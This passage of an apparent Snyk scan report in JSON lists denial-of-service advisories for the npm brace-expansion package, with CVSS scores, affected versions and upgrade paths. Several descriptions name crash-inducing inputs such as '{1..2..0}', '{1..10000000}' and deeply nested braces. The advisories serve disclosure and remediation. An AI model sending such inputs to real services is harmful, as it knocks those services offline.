`minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": 